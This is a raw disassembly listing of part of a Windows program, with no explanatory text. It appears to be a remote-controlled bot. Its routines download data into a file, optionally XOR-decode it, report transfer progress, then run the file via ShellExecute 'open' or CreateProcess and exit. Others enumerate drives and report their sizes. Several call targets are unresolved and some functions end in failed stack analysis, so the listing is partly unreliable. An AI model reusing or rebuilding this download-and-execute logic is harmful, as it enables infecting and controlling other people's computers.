loc_40C99C:				; CODE XREF: sub_40C8B4+14Ej
		push	esi
		lea	eax, [ebp+var_14C4]
		push	ebx
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+var_14C4]
		push	ebx
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	dword_43F680
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40CA63
		cmp	edi, 0FFFFFFFFh
		jz	short loc_40CA04
		push	[ebp+var_4]
		lea	eax, [ebp+var_14C4]
		push	edi
		push	1
		push	eax
		call	sub_4196EF
		add	[ebp+var_8], edi
		add	esp, 10h
		push	[ebp+var_8]
		call	dword_43F664
		mov	[ebp+var_C], eax
		push	ebx
		lea	eax, [ebp+var_C]
		push	4
		push	eax
		push	[ebp+arg_0]
		call	dword_43F6B8
		jmp	short loc_40C99C
; ---------------------------------------------------------------------------

loc_40CA04:				; CODE XREF: sub_40C8B4+118j
		lea	eax, [ebp+var_4C4]
		push	offset dword_42E108
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_4C4]
		push	[ebp+var_18]
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+var_1C0]
		call	sub_40D679
		lea	eax, [ebp+var_4C4]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_4]
		call	sub_417900
		add	esp, 24h
		push	[ebp+arg_0]
		call	dword_43F700
		push	[ebp+var_1C]
		call	sub_417078
		pop	ecx
		push	1
		nop
		call	near ptr 25F030Eh

loc_40CA63:				; CODE XREF: sub_40C8B4+10Fj
		mov	eax, [ebp+var_8]
		cdq
		push	edx
		push	eax
		call	sub_40D01A
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A4]
		push	eax
		lea	eax, [ebp+var_1B8]
		push	eax
		lea	eax, [ebp+var_4C4]
		push	offset dword_42E28C
		push	eax
		call	sub_4172B0
		add	esp, 14h

loc_40CA93:				; CODE XREF: sub_40C8B4+DEj
		cmp	[ebp+var_14], ebx
		jnz	short loc_40CAB8
		push	ebx
		lea	eax, [ebp+var_4C4]
		push	[ebp+var_18]
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+var_1C0]
		call	sub_40D679
		add	esp, 14h

loc_40CAB8:				; CODE XREF: sub_40C8B4+1E2j
		lea	eax, [ebp+var_4C4]
		push	eax
		call	sub_40BF6D
		cmp	[ebp+var_4], ebx
		pop	ecx
		jz	short loc_40CAD3
		push	[ebp+var_4]
		call	sub_417900
		pop	ecx

loc_40CAD3:				; CODE XREF: sub_40C8B4+214j
		cmp	[ebp+arg_0], ebx
		jbe	short loc_40CAE1
		push	[ebp+arg_0]
		call	dword_43F700

loc_40CAE1:				; CODE XREF: sub_40C8B4+222j
		push	[ebp+var_1C]
		call	sub_417078
		pop	ecx
		push	ebx
		nop
		call	near ptr 25F030Eh
sub_40C8B4	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CAF1	proc near		; DATA XREF: sub_40EE72+3820o
					; sub_40EE72+3F6Fo

var_590		= qword	ptr -590h
var_584		= qword	ptr -584h
var_510		= byte ptr -510h
var_310		= dword	ptr -310h
var_304		= dword	ptr -304h
var_2E4		= dword	ptr -2E4h
var_2E0		= word ptr -2E0h
var_2CC		= dword	ptr -2CCh
var_2C8		= byte ptr -2C8h
var_248		= byte ptr -248h
var_148		= byte ptr -148h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_24		= byte ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 510h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0AAh
		mov	esi, eax
		lea	edi, [ebp+var_2CC]
		push	1
		rep movsd
		pop	edi
		xor	esi, esi
		push	esi
		mov	[eax+2A4h], edi
		push	esi
		push	esi
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		push	dword_43F618
		call	dword_43F578
		cmp	eax, esi
		mov	[ebp+var_18], eax
		jz	loc_40CF7D
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		lea	eax, [ebp+var_148]
		push	40000000h
		push	eax
		nop
		call	near ptr 2650975h
		cmp	eax, edi
		mov	[ebp+var_20], eax
		jnb	short loc_40CBB8
		lea	eax, [ebp+var_148]
		push	eax
		lea	eax, [ebp+var_510]
		push	offset unk_42E5E4
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_40CB9B
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_40D679
		add	esp, 14h

loc_40CB9B:				; CODE XREF: sub_40CAF1+88j
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_48]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	esi
		nop
		call	near ptr 25F030Eh

loc_40CBB8:				; CODE XREF: sub_40CAF1+68j
		xor	edi, edi
		nop
		call	near ptr 25F09B1h
		mov	ebx, 7D000h
		mov	dword ptr [ebp+var_8+4], eax
		push	ebx
		call	sub_417B89
		pop	ecx
		mov	[ebp+var_1C], eax

loc_40CBD2:				; CODE XREF: sub_40CAF1+1B4j
		push	200h
		lea	eax, [ebp+var_510]
		push	esi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_510]
		push	200h
		push	eax
		push	[ebp+var_18]
		call	dword_43F580
		cmp	[ebp+var_34], esi
		jz	short loc_40CC16
		push	[ebp+arg_0]
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_40CFE3
		pop	ecx
		pop	ecx

loc_40CC16:				; CODE XREF: sub_40CAF1+112j
		lea	eax, [ebp+var_24]
		push	esi
		push	eax
		lea	eax, [ebp+var_510]
		push	[ebp+arg_0]
		push	eax
		push	[ebp+var_20]
		nop
		call	near ptr 2640000h
		cmp	edi, ebx
		jnb	short loc_40CC54
		mov	eax, ebx
		sub	eax, edi
		cmp	eax, [ebp+arg_0]
		jbe	short loc_40CC3E
		mov	eax, [ebp+arg_0]

loc_40CC3E:				; CODE XREF: sub_40CAF1+148j
		push	eax
		lea	eax, [ebp+var_510]
		push	eax
		mov	eax, [ebp+var_1C]
		add	eax, edi
		push	eax
		call	sub_417390
		add	esp, 0Ch

loc_40CC54:				; CODE XREF: sub_40CAF1+13Fj
		add	edi, [ebp+arg_0]
		cmp	[ebp+var_3C], esi
		jz	short loc_40CC61
		cmp	edi, [ebp+var_3C]
		ja	short loc_40CCAB

loc_40CC61:				; CODE XREF: sub_40CAF1+169j
		cmp	[ebp+var_44], 1
		mov	eax, edi
		jz	short loc_40CC7B
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	offset unk_42E59C
		jmp	short loc_40CC8B
; ---------------------------------------------------------------------------

loc_40CC7B:				; CODE XREF: sub_40CAF1+176j
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	offset unk_42E55C

loc_40CC8B:				; CODE XREF: sub_40CAF1+188j
		mov	eax, [ebp+var_48]
		imul	eax, 234h
		add	eax, offset dword_444EC0
		push	eax
		call	sub_4172B0
		add	esp, 10h
		cmp	[ebp+arg_0], esi
		ja	loc_40CBD2

loc_40CCAB:				; CODE XREF: sub_40CAF1+16Ej
		cmp	[ebp+var_3C], esi
		mov	[ebp+var_14], 1
		jz	short loc_40CD00
		cmp	edi, [ebp+var_3C]
		jz	short loc_40CD00
		push	[ebp+var_3C]
		lea	eax, [ebp+var_510]
		mov	[ebp+var_14], esi
		push	edi
		push	offset unk_42E518
		push	eax
		call	sub_4172B0
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_40D679
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_40BF6D
		add	esp, 28h

loc_40CD00:				; CODE XREF: sub_40CAF1+1C4j
					; sub_40CAF1+1C9j
		call	near ptr 25F09B1h
		nop
		sub	eax, dword ptr [ebp+var_8+4]
		xor	edx, edx
		mov	ecx, 3E8h
		push	[ebp+var_20]
		div	ecx
		xor	edx, edx
		mov	ecx, eax
		mov	eax, edi
		inc	ecx
		div	ecx
		mov	ebx, eax
		nop
		call	near ptr 26309DCh
		push	[ebp+var_1C]
		call	sub_417C3B
		cmp	[ebp+var_38], esi
		pop	ecx
		jz	short loc_40CD8A
		lea	eax, [ebp+var_148]
		push	eax
		call	sub_40C259
		cmp	eax, [ebp+var_38]
		pop	ecx
		jz	short loc_40CD8A
		push	[ebp+var_38]
		mov	[ebp+var_14], esi
		push	eax
		lea	eax, [ebp+var_510]
		push	offset unk_42E4E0
		push	eax
		call	sub_4172B0
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_40D679
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_40BF6D
		add	esp, 28h

loc_40CD8A:				; CODE XREF: sub_40CAF1+241j
					; sub_40CAF1+253j
		cmp	[ebp+var_14], esi
		jz	loc_40CFCA
		cmp	[ebp+var_44], 1
		jz	loc_40CE85
		mov	dword ptr [ebp+var_8], ebx
		mov	dword ptr [ebp+var_8+4], esi
		fild	[ebp+var_8]
		push	ecx
		push	ecx
		mov	dword ptr [ebp+var_8], edi
		mov	dword ptr [ebp+var_8+4], esi
		fmul	dbl_424698
		lea	eax, [ebp+var_148]
		fstp	[esp+584h+var_584]
		fild	[ebp+var_8]
		push	eax
		push	ecx
		push	ecx
		lea	eax, [ebp+var_510]
		fmul	dbl_424698
		fstp	[esp+590h+var_590]
		push	offset unk_42E498
		push	eax
		call	sub_4172B0
		add	esp, 1Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_40CE05
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_40D679
		add	esp, 14h

loc_40CE05:				; CODE XREF: sub_40CAF1+2F2j
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_40BF6D
		cmp	[ebp+var_40], 1
		pop	ecx
		jnz	loc_40CFCA
		push	5
		push	esi
		lea	eax, [ebp+var_148]
		push	esi
		push	eax
		push	offset aOpen	; "open"
		push	esi
		call	dword_43F5DC
		cmp	[ebp+var_30], esi
		jnz	loc_40CFCA
		lea	eax, [ebp+var_148]
		push	eax
		lea	eax, [ebp+var_510]
		push	offset dword_42E464
		push	eax
		call	sub_4172B0
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_40D679
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_40BF6D
		add	esp, 24h
		jmp	loc_40CFCA
; ---------------------------------------------------------------------------

loc_40CE85:				; CODE XREF: sub_40CAF1+2A6j
		mov	dword ptr [ebp+var_8], ebx
		mov	dword ptr [ebp+var_8+4], esi
		fild	[ebp+var_8]
		push	ecx
		push	ecx
		mov	dword ptr [ebp+var_8], edi
		mov	dword ptr [ebp+var_8+4], esi
		fmul	dbl_424698
		lea	eax, [ebp+var_148]
		fstp	[esp+584h+var_584]
		fild	[ebp+var_8]
		push	eax
		push	ecx
		push	ecx
		lea	eax, [ebp+var_510]
		fmul	dbl_424698
		fstp	[esp+590h+var_590]
		push	offset unk_42E414
		push	eax
		call	sub_4172B0
		add	esp, 1Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_40CEED
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_40D679
		add	esp, 14h

loc_40CEED:				; CODE XREF: sub_40CAF1+3DAj
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_40BF6D
		push	10h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_417330
		push	44h
		lea	eax, [ebp+var_310]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_417330
		add	esp, 1Ch
		mov	[ebp+var_310], edi
		lea	eax, [ebp+var_10]
		mov	[ebp+var_304], offset byte_43C80C
		push	1
		mov	[ebp+var_2E0], si
		pop	edi
		push	eax
		lea	eax, [ebp+var_310]
		push	eax
		push	esi
		push	esi
		push	28h
		push	esi
		push	esi
		lea	eax, [ebp+var_148]
		push	esi
		push	eax
		push	esi
		mov	[ebp+var_2E4], edi
		nop
		call	near ptr 276063Ch
		cmp	eax, edi
		jnz	short loc_40CF6F
		call	dword_43F5C8
		call	sub_40AC42
		push	esi
		nop
		call	near ptr 77E75CB5h

loc_40CF6F:				; CODE XREF: sub_40CAF1+46Aj
		lea	eax, [ebp+var_148]
		push	eax
		push	offset unk_42E3CC
		jmp	short loc_40CF89
; ---------------------------------------------------------------------------

loc_40CF7D:				; CODE XREF: sub_40CAF1+45j
		lea	eax, [ebp+var_248]
		push	eax
		push	offset unk_42E390

loc_40CF89:				; CODE XREF: sub_40CAF1+48Aj
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_40CFBD
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_40D679
		add	esp, 14h

loc_40CFBD:				; CODE XREF: sub_40CAF1+4AAj
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_40BF6D
		pop	ecx

loc_40CFCA:				; CODE XREF: sub_40CAF1+29Cj
					; sub_40CAF1+325j ...
		push	[ebp+var_18]
		call	dword_43F69C
		push	[ebp+var_48]
		call	sub_417078
		pop	ecx
		push	esi
		nop
		call	near ptr 25F030Eh
sub_40CAF1	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40CFE3	proc near		; CODE XREF: sub_40CAF1+11Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		cmp	[esp+arg_4], ecx
		jle	short locret_40CFFF

loc_40CFEF:				; CODE XREF: sub_40CFE3+1Aj
		mov	dl, byte_42F5C4
		xor	[ecx+eax], dl
		inc	ecx
		cmp	ecx, [esp+arg_4]
		jl	short loc_40CFEF

locret_40CFFF:				; CODE XREF: sub_40CFE3+Aj
		retn
sub_40CFE3	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D000	proc near		; CODE XREF: sub_40EE72+2A7Ep
					; sub_40EE72+2BA4p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_4197F9
		pop	ecx
		pop	ecx
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		mov	eax, ecx
		retn
sub_40D000	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D01A	proc near		; CODE XREF: sub_406387+458p
					; sub_406387+5FDp ...

var_38		= byte ptr -38h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 38h
		and	[ebp+var_4], 0
		push	ebx
		push	esi
		push	edi
		push	32h
		mov	edi, offset dword_443A38
		push	0
		push	edi
		call	sub_417330
		mov	ebx, [ebp+arg_0]
		add	esp, 0Ch
		lea	esi, [ebp+var_38]

loc_40D03F:				; CODE XREF: sub_40D01A+5Bj
					; sub_40D01A+61j
		push	0
		push	0Ah
		push	[ebp+arg_4]
		push	ebx
		call	sub_4191D0
		push	0
		push	0Ah
		push	[ebp+arg_4]
		add	al, 30h
		mov	[esi], al
		inc	esi
		push	ebx
		call	sub_419250
		mov	ebx, eax
		or	eax, edx
		mov	[ebp+arg_4], edx
		jz	short loc_40D07D
		inc	[ebp+var_4]
		push	3
		mov	eax, [ebp+var_4]
		pop	ecx
		cdq
		idiv	ecx
		test	edx, edx
		jnz	short loc_40D03F
		mov	byte ptr [esi],	2Ch
		inc	esi
		jmp	short loc_40D03F
; ---------------------------------------------------------------------------

loc_40D07D:				; CODE XREF: sub_40D01A+4Bj
		dec	esi
		mov	eax, edi

loc_40D080:				; CODE XREF: sub_40D01A+73j
		lea	ecx, [ebp+var_38]
		cmp	esi, ecx
		jb	short loc_40D08F
		mov	cl, [esi]
		mov	[eax], cl
		inc	eax
		dec	esi
		jmp	short loc_40D080
; ---------------------------------------------------------------------------

loc_40D08F:				; CODE XREF: sub_40D01A+6Bj
		and	byte ptr [eax],	0
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40D01A	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D099	proc near		; CODE XREF: sub_40D24E+51p
					; sub_40D24E+87p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_43F6C8
		sub	eax, 0
		jz	short loc_40D0DC
		dec	eax
		jz	short loc_40D0D6
		dec	eax
		dec	eax
		jz	short loc_40D0D0
		dec	eax
		jz	short loc_40D0CA
		dec	eax
		jz	short loc_40D0C4
		dec	eax
		jz	short loc_40D0BE
		mov	eax, offset word_42DDD0
		retn
; ---------------------------------------------------------------------------

loc_40D0BE:				; CODE XREF: sub_40D099+1Dj
		mov	eax, offset off_42E644
		retn
; ---------------------------------------------------------------------------

loc_40D0C4:				; CODE XREF: sub_40D099+1Aj
		mov	eax, offset aCdrom ; "Cdrom"
		retn
; ---------------------------------------------------------------------------

loc_40D0CA:				; CODE XREF: sub_40D099+17j
		mov	eax, offset aNetwork ; "Network"
		retn
; ---------------------------------------------------------------------------

loc_40D0D0:				; CODE XREF: sub_40D099+14j
		mov	eax, offset aDisk ; "Disk"
		retn
; ---------------------------------------------------------------------------

loc_40D0D6:				; CODE XREF: sub_40D099+10j
		mov	eax, offset aInvalid ; "Invalid"
		retn
; ---------------------------------------------------------------------------

loc_40D0DC:				; CODE XREF: sub_40D099+Dj
		mov	eax, offset aUnknown ; "Unknown"
		retn
sub_40D099	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D0E2	proc near		; CODE XREF: sub_40D12A+12p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		or	eax, 0FFFFFFFFh
		mov	[ebp+var_18], eax
		mov	[ebp+var_14], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], eax
		mov	eax, dword_43F564
		test	eax, eax
		jz	short loc_40D117
		lea	ecx, [ebp+var_10]
		push	ecx
		lea	ecx, [ebp+var_8]
		push	ecx
		lea	ecx, [ebp+var_18]
		push	ecx
		push	[ebp+arg_4]
		call	eax

loc_40D117:				; CODE XREF: sub_40D0E2+22j
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	6
		pop	ecx
		lea	esi, [ebp+var_18]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_40D0E2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D12A	proc near		; CODE XREF: sub_40B8D8+1F3p
					; sub_40D24E+17p

var_198		= byte ptr -198h
var_118		= byte ptr -118h
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 198h
		push	esi
		push	edi
		push	[ebp+arg_4]
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_40D0E2
		pop	ecx
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_18]
		push	6
		pop	ecx
		rep movsd
		mov	eax, [ebp+var_18]
		and	eax, [ebp+var_14]
		cmp	eax, 0FFFFFFFFh
		jz	loc_40D208
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_C]
		cmp	eax, 0FFFFFFFFh
		jz	loc_40D208
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_4]
		cmp	eax, 0FFFFFFFFh
		jz	loc_40D208
		push	ebx
		mov	ebx, 400h
		push	0
		push	ebx
		push	[ebp+var_14]
		push	[ebp+var_18]
		call	sub_419840
		push	edx
		push	eax
		call	sub_40D01A
		pop	ecx
		mov	edi, offset aSkb ; "%sKB"
		pop	ecx
		mov	esi, 80h
		push	eax
		push	edi
		lea	eax, [ebp+var_198]
		push	esi
		push	eax
		call	sub_41782A
		add	esp, 10h
		push	0
		push	ebx
		push	[ebp+var_C]
		push	[ebp+var_10]
		call	sub_419840
		push	edx
		push	eax
		call	sub_40D01A
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		lea	eax, [ebp+var_118]
		push	esi
		push	eax
		call	sub_41782A
		add	esp, 10h
		push	0
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_8]
		call	sub_419840
		push	edx
		push	eax
		call	sub_40D01A
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		lea	eax, [ebp+var_98]
		push	esi
		push	eax
		call	sub_41782A
		add	esp, 10h
		pop	ebx
		jmp	short loc_40D23A
; ---------------------------------------------------------------------------

loc_40D208:				; CODE XREF: sub_40D12A+2Cj
					; sub_40D12A+3Bj ...
		mov	esi, offset aFailed ; "failed"
		lea	eax, [ebp+var_198]
		push	esi
		push	eax
		call	sub_4172B0
		pop	ecx
		lea	eax, [ebp+var_118]
		pop	ecx
		push	esi
		push	eax
		call	sub_4172B0
		pop	ecx
		lea	eax, [ebp+var_98]
		pop	ecx
		push	esi
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx

loc_40D23A:				; CODE XREF: sub_40D12A+DCj
		mov	eax, [ebp+arg_0]
		push	60h
		pop	ecx
		lea	esi, [ebp+var_198]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_40D12A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D24E	proc near		; CODE XREF: sub_40D320+17p
					; sub_40D320+60p

var_500		= byte ptr -500h
var_300		= byte ptr -300h
var_180		= byte ptr -180h
var_100		= byte ptr -100h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 500h
		push	ebx
		mov	ebx, [ebp+arg_C]
		push	esi
		push	edi
		lea	eax, [ebp+var_300]
		push	ebx
		push	eax
		call	sub_40D12A
		push	60h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_300]
		rep movsd
		push	60h
		lea	esi, [ebp+var_300]
		pop	ecx
		lea	edi, [ebp+var_180]
		lea	eax, [ebp+var_80]
		push	offset aFailed	; "failed"
		rep movsd
		push	eax
		call	sub_4176D0
		add	esp, 10h
		test	eax, eax
		jnz	short loc_40D2C1
		push	ebx
		push	ebx
		call	sub_40D099
		pop	ecx
		push	eax
		push	offset unk_42E6A4
		lea	eax, [ebp+var_500]
		push	200h
		push	eax
		call	sub_41782A
		add	esp, 14h
		jmp	short loc_40D2F5
; ---------------------------------------------------------------------------

loc_40D2C1:				; CODE XREF: sub_40D24E+4Dj
		lea	eax, [ebp+var_180]
		push	eax
		lea	eax, [ebp+var_100]
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		push	ebx
		push	ebx
		call	sub_40D099
		pop	ecx
		push	eax
		push	offset unk_42E658
		lea	eax, [ebp+var_500]
		push	200h
		push	eax
		call	sub_41782A
		add	esp, 20h

loc_40D2F5:				; CODE XREF: sub_40D24E+71j
		push	1
		lea	eax, [ebp+var_500]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		lea	eax, [ebp+var_500]
		push	eax
		call	sub_40BF6D
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40D24E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D320	proc near		; CODE XREF: sub_40EE72+57F0p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_C], ebx
		jz	short loc_40D341
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D24E
		add	esp, 10h
		jmp	short loc_40D3A2
; ---------------------------------------------------------------------------

loc_40D341:				; CODE XREF: sub_40D320+9j
		push	esi
		push	edi
		push	ebx
		push	ebx
		call	dword_43F5D8
		lea	esi, [eax+2]
		push	esi
		call	sub_417B89
		pop	ecx
		mov	edi, eax
		push	edi
		push	esi
		call	dword_43F5D8
		cmp	[edi], bl
		mov	esi, edi
		jz	short loc_40D399

loc_40D365:				; CODE XREF: sub_40D320+77j
		push	offset aA_0	; "A:\\"
		push	esi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40D388
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D24E
		add	esp, 10h

loc_40D388:				; CODE XREF: sub_40D320+54j
		push	esi
		call	sub_417AB0
		cmp	[esi+eax+1], bl
		lea	esi, [esi+eax+1]
		pop	ecx
		jnz	short loc_40D365

loc_40D399:				; CODE XREF: sub_40D320+43j
		push	edi
		call	sub_417C3B
		pop	ecx
		pop	edi
		pop	esi

loc_40D3A2:				; CODE XREF: sub_40D320+1Fj
		pop	ebx
		pop	ebp
		retn
sub_40D320	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D3A5	proc near		; DATA XREF: sub_40E6A9+11o

var_2B8		= dword	ptr -2B8h
var_25C		= byte ptr -25Ch
var_158		= byte ptr -158h
var_54		= dword	ptr -54h
var_48		= dword	ptr -48h
var_28		= dword	ptr -28h
var_24		= word ptr -24h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 25Ch
		push	ebx
		push	esi
		push	edi
		push	dword_4450CC
		call	dword_43F700
		call	sub_416F25
		call	dword_43F5C8
		call	dword_43F5C8
		mov	ebx, dword_424064
		push	64h
		call	ebx
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_417330
		push	44h
		lea	eax, [ebp+var_54]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_417330
		add	esp, 18h
		mov	[ebp+var_54], esi
		mov	esi, 104h
		lea	eax, [ebp+var_25C]
		push	esi
		push	eax
		mov	[ebp+var_48], offset byte_43C80C
		mov	[ebp+var_28], 1
		mov	[ebp+var_24], di
		nop
		call	near ptr 2600423h
		lea	eax, [ebp+var_158]
		push	esi
		push	eax
		push	edi
		nop
		call	near ptr 2660000h
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_54]
		push	eax
		lea	eax, [ebp+var_25C]
		push	eax
		push	edi
		push	28h
		push	1
		push	edi
		lea	eax, [ebp+var_158]
		push	edi
		push	eax
		push	edi
		nop
		call	near ptr 276063Ch
		test	eax, eax
		jz	short loc_40D46A
		push	64h
		call	ebx
		push	[ebp+var_10]
		mov	esi, dword_424078
		call	esi
		push	[ebp+var_C]
		call	esi

loc_40D46A:				; CODE XREF: sub_40D3A5+AFj
		mov	eax, [ebp+arg_8]
		mov	dword ptr [eax+0B0h], offset dword_443A70
		mov	eax, [esp+2B8h+var_2B8]
		mov	large fs:0, eax
		add	esp, 8
		push	edi
		nop
		call	near ptr 77E75CB5h
		pop	edi
		pop	esi
		pop	ebx
sub_40D3A5	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D48D	proc near		; CODE XREF: sub_40D4C5+125p
					; sub_40D4C5+14Cp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		xor	esi, esi
		sub	edi, [ebp+arg_C]
		test	edi, edi
		jle	short loc_40D4BB

loc_40D49E:				; CODE XREF: sub_40D48D+2Cj
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_0]
		add	eax, esi
		push	[ebp+arg_8]
		push	eax
		call	sub_4198F0
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_40D4C1
		inc	esi
		cmp	esi, edi
		jl	short loc_40D49E

loc_40D4BB:				; CODE XREF: sub_40D48D+Fj
		xor	al, al

loc_40D4BD:				; CODE XREF: sub_40D48D+36j
		pop	edi
		pop	esi
		pop	ebp
		retn
